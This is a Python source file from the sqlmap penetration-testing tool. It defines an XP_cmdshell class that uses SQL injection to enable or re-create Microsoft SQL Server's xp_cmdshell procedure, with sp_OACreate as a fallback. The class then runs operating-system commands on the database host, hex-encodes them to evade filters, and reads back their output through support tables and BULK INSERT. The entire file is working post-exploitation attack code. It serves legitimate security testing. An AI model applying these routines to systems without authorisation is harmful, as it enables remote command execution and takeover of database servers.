#!/usr/bin/env python """ Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import getSQLSnippet from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastResponseDelayed from lib.core.compat import xrange from lib.core.convert import encodeHex from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import HASHDB_KEYS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData from lib.request import inject class XP_cmdshell(object): """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. """ def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" def _xpCmdshellCreate(self): cmd = "" if not Backend.isVersionWithin(("2000",)): logger.debug("activating sp_OACreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) self._randStr = randomStr(lowercase=True) self.xpCmdshellStr = "master..new_xp_cmdshell" cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) if not Backend.isVersionWithin(("2000",)): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd)) def _xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" logger.debug(debugMsg) cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) return cmd def _xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" logger.debug(debugMsg) if mode == 1: cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) else: cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) return cmd def _xpCmdshellConfigure(self, mode): if Backend.isVersionWithin(("2000",)): cmd = self._xpCmdshellConfigure2000(mode) else: cmd = self._xpCmdshellConfigure2005(mode) inject.goStacked(agent.runAsDBMSUser(cmd)) def _xpCmdshellCheck(self): cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) self.xpCmdshellExecCmd(cmd) return wasLastResponseDelayed() @stackedmethod def _xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True logger.info("testing if xp_cmdshell extended procedure is usable") output = self.xpCmdshellEvalCmd("echo 1") if output == "1": logger.info("xp_cmdshell extended procedure is usable") elif isNoneValue(output) and conf.dbmsCred: errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() errMsg += "storing console output within the back-end file system " errMsg += "does not have writing permissions for the DBMS process. " errMsg += "You are advised to manually adjust it with option " errMsg += "'--tmp-path' or you won't be able to retrieve " errMsg += "the command(s) output" logger.error(errMsg) elif isNoneValue(output): logger.error("unable to retrieve xp_cmdshell output") else: logger.info("xp_cmdshell extended procedure is usable") threadData.disableStdOut = popValue() def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): echoedLines = [] cmd = "" charCounter = 0 maxLen = 512 if isinstance(fileContent, (set, list, tuple)): lines = fileContent else: lines = fileContent.split("\n") for line in lines: echoedLine = "echo %s " % line echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: cmd += "%s & " % echoedLine charCounter += len(echoedLine) if charCounter >= maxLen: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) cmd = "" charCounter = 0 if cmd: self.xpCmdshellExecCmd(cmd.rstrip(" & ")) def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): # When user provides DBMS credentials (with --dbms-cred) we need to # redirect the command standard output to a temporary file in order # to retrieve it afterwards # NOTE: this does not need to be done when the command is 'del' to # delete the temporary file if conf.dbmsCred and insertIntoTable: self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) cmd = "%s > \"%s\"" % (cmd, self.tmpFile) # Obfuscate the command to execute, also useful to bypass filters # on single-quotes self._randStr = randomStr(lowercase=True) self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr try: self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False)) except UnicodeError: self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) # Insert the command standard output into a support table, # 'sqlmapoutput', except when DBMS credentials are provided because # it does not work unfortunately, BULK INSERT needs to be used to # retrieve the output when OPENROWSET is used hence the redirection # to a temporary file from above if insertIntoTable and not conf.dbmsCred: self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) return agent.runAsDBMSUser(self._forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): output = None if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False, time=False) if (output is None) or len(output) == 0 or output[0] is None: output = [] count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: _ = "" lines = [line for line in flattenValue(output) if line is not None] for i in xrange(len(lines)): line = lines[i] or "" if line is None or i in (0, len(lines) - 1) and not line.strip(): continue _ += "%s\n" % line output = _.rstrip('\n') return output def xpCmdshellInit(self): if not kb.xpCmdshellAvailable: infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg += "available, please wait.." logger.info(infoMsg) result = self._xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") kb.xpCmdshellAvailable = True else: message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " if readInput(message, default='Y', boolean=True): self._xpCmdshellConfigure(1) if self._xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") kb.xpCmdshellAvailable = True else: logger.warn("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") self._xpCmdshellConfigure(0) self._xpCmdshellCreate() if self._xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") kb.xpCmdshellAvailable = True else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" logger.warn(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) if not kb.xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" raise SqlmapUnsupportedFeatureException(errMsg) debugMsg = "creating a support table to write commands standard " debugMsg += "output to" logger.debug(debugMsg) # TEXT can't be used here because in error technique you get: # "The text, ntext, and image data types cannot be compared or sorted" self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self._xpCmdshellTest()